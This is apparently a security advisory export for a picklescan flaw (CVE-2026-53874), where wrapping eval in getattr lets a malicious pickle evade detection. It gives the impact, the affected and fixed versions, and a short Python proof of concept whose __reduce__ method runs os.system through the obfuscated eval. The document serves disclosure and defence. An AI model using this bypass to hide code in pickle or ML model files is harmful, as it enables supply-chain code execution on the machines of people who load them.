Advisory

PYSEC-2026-1789

Also known as: CVE-2026-53874, GHSA-9m3x-qqw2-h32h

Summary

picklescan missing detection by simple obfuscation of a builtins.eval call

Details

Summary

An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.

Details

It's possible to hide the eval call nested under another callable via getattr.

PoC

import builtins

class EvilClass:
    @staticmethod
    def _obfuscated_eval(payload):
        getattr(builtins, "eval")(payload)

    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return self._obfuscated_eval, (payload,)

Impact

Who is impacted?
Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.

What is the impact?
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.

Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.

Severity

Not rated by the source.

Dates

Published
2026-07-07 16:42 UTC
Modified
2026-07-07 17:48 UTC

Affected packages and fixes

picklescan

PyPI · All systems

Affected

  • introduced 0, fixed 1.0.1 (ecosystem)

Fixed versions

1.0.1

Fix

  • Fixed version 1.0.1
    pip install --upgrade picklescan==1.0.1

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences